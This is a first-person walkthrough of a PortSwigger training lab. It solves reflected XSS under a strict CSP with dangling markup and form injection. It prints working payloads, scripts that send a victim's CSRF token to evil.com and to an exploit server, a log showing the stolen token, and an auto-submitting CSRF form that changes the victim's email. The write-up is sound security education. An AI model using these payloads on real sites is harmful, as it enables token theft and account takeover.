Reflected XSS protected by very strict CSP, with dangling markup attack

Description

This lab using a strict CSP that blocks outgoing requests to external web sites.

To solve the lab, first perform a cross-site scripting attack that bypasses the CSP and exfiltrates a simulated victim user's CSRF token using Burp Collaborator. You then need to change the simulated user's email address to hacker@evil-user.net.

You must label your vector with the word "Click" in order to induce the simulated user to click it. For example:

<a href="">Click me</a>

You can log in to your own account using the following credentials: wiener:peter

Approach

After logging in with the provided credentials, I navigated to the /my-account page where I found the update email functionality. I noticed that the URL contained an id parameter. I replaced the id parameter with the email parameter to see what would happen:

https://0ae30001037a0643808b085600760069.web-security-academy.net/my-account?email=ichyaboy

Upon doing this, I noticed that the input was reflected in an input tag:

<input required type="email" name="email" value="ichyaboy">

Additionally, I observed another input field with the CSRF token:

<input required type="hidden" name="csrf" value="y62tMOHsIhrvLDiujeGuHt6C2FmJd5Lb">

I kept this in mind and tried to escape the value attribute in the email input field and inject another tag:

"><img src="https://example.com">

Injecting this payload worked. I saw an image placeholder on the page, though no image appeared since the link provided didn't exist. I also noticed this interesting header in the request intercepted by BurpSuite:

Content-Security-Policy: default-src 'self';object-src 'none'; style-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none';

This Content Security Policy (CSP) header indicated that images could only be loaded from the same origin due to the img-src 'self' directive. I observed that links in canonical tags were not restricted, meaning I could use external links. I tested this payload:

"><a href="https://google.com">Click me</a>

A new link appeared on the page, and clicking it redirected me to Google, confirming that links in the canonical tag worked.

Next, I planned to steal the victim's CSRF token. I explored two methods for achieving this, understanding the nuances of CSP injection better.

OLD Method

Since I could make the victim visit a host I controlled (the exploit server), I needed a way to send the CSRF token to my host. From PortSwigger's XSS cheat sheet, I found a payload in the Dangling markup section:

<a href=http://evil.cvom><font size=100 color=red>You must Click me</font></a><base target="

This payload passes markup data through window.name using the base target attribute. To exploit this, I crafted the following payload:

"><a href=http://evil.cvom><font size=100 color=red>You must Click me</font></a><base target="

When injected, it looked like this in the email input field:

<input required type="email" name="email" value="">
<a href=http://evil.cvom><font size=100 color=red>You must Click me</font></a><base target=">
<input required type="hidden" name="csrf" value="y62tMOHsIhrvLDiujeGuHt6C2FmJd5Lb">

The target attribute isn't closed, so it captures data until it finds a closing ">, which in this case is at the end of the CSRF token's value attribute. This base tag passes all this data to the visited page (http://evil.com), storing it in the window.name property.

To steal the CSRF token from the victim, I built this final payload:

<script>
if(window.name) {
        new Image().src='https://evil.com?'+encodeURIComponent(window.name);
        } else {
                location = 'https://0a2200bc04f68a5785a50431001c0040.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://evil.com%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
}
</script>

Using the exploit server as my evil host, my payload looks like this:

<script>
if(window.name) {
        new Image().src='https://exploit-0a4d009304b18aa785a603fc018c000a.exploit-server.net/exploit?'+encodeURIComponent(window.name);
        } else {
                location = 'https://0a2200bc04f68a5785a50431001c0040.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://exploit-0a4d009304b18aa785a603fc018c000a.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
}
</script>

This script checks if window.name is filled; if yes, it contains the CSRF token and sends it to the exploit server. If window.name is empty, it redirects the victim to the lab page with my XSS payload to pass the CSRF token value through the base target tag.

After clicking Store and Deliver exploit to victim, I checked the access log and found this GET request with a lot of data URL encoded:

"GET /exploit?%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cinput%20required%20type%3D%22hidden%22%20name%3D%22csrf%22%20value%3D%22mGJwHU12TI9Km421XY41nkbcAhb43Cwr%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cbutton%20class%3D 

After URL decoding this data, I extracted the CSRF token value mGJwHU12TI9Km421XY41nkbcAhb43Cwr.

New Method

TThis method is inspired by this article, where I use the form tag to steal the victim's CSRF token.

I closed the previous form of the change-email function and injected a new form that sends a GET request to my exploit server. Since it's a form action, the CSRF token will be present in the request:

"></form><form class="login-form" name="evil-form" action="https://exploit-0ae700db041e766d832572e6013b002e.exploit-server.net/log" method="GET"><button class="button" type="submit"> Click me </button>';

I used this payload in my exploit server HTML page:

<script>
location='https://0a46005404bf76c483ba73e200bc0068.web-security-academy.net/my-account?email=%22%3E%3C/form%3E%3Cform%20class=%22login-form%22%20name=%22evil-form%22%20action=%22https://exploit-0ae700db041e766d832572e6013b002e.exploit-server.net/log%22%20method=%22GET%22%3E%3Cbutton%20class=%22button%22%20type=%22submit%22%3E%20Click%20me%20%3C/button%3E';
</script>

When the victim visits my exploit server, they are redirected to the lab page with my payload, which includes a form that sends a GET request to the log endpoint of my exploit server. A button labeled "Click me" will trigger the victim to press the button and submit the form. This form ignores the original form and submits the malicious form instead.

After clicking Store and Deliver exploit to victim, I checked the access logs and found:

"GET /log?csrf=mGJwHU12TI9Km421XY41nkbcAhb43Cwr HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"

Now that I had the CSRF token, I needed to use it to change the victim's email. However, I didn't have the victim's session cookie to submit the form as the victim, so I made the victim submit the form instead. I hosted a malicious HTML page on my exploit server with the email change form filled with the values I needed:

<html>
  <body>
    <form action="https://0a46005404bf76c483ba73e200bc0068.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker&#64;evil&#45;user&#46;net" />
      <input type="hidden" name="csrf" value="mGJwHU12TI9Km421XY41nkbcAhb43Cwr&#32;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

After clicking Store and Deliver exploit to victim, I confirmed that the lab was solved, indicating the victim's email had been changed.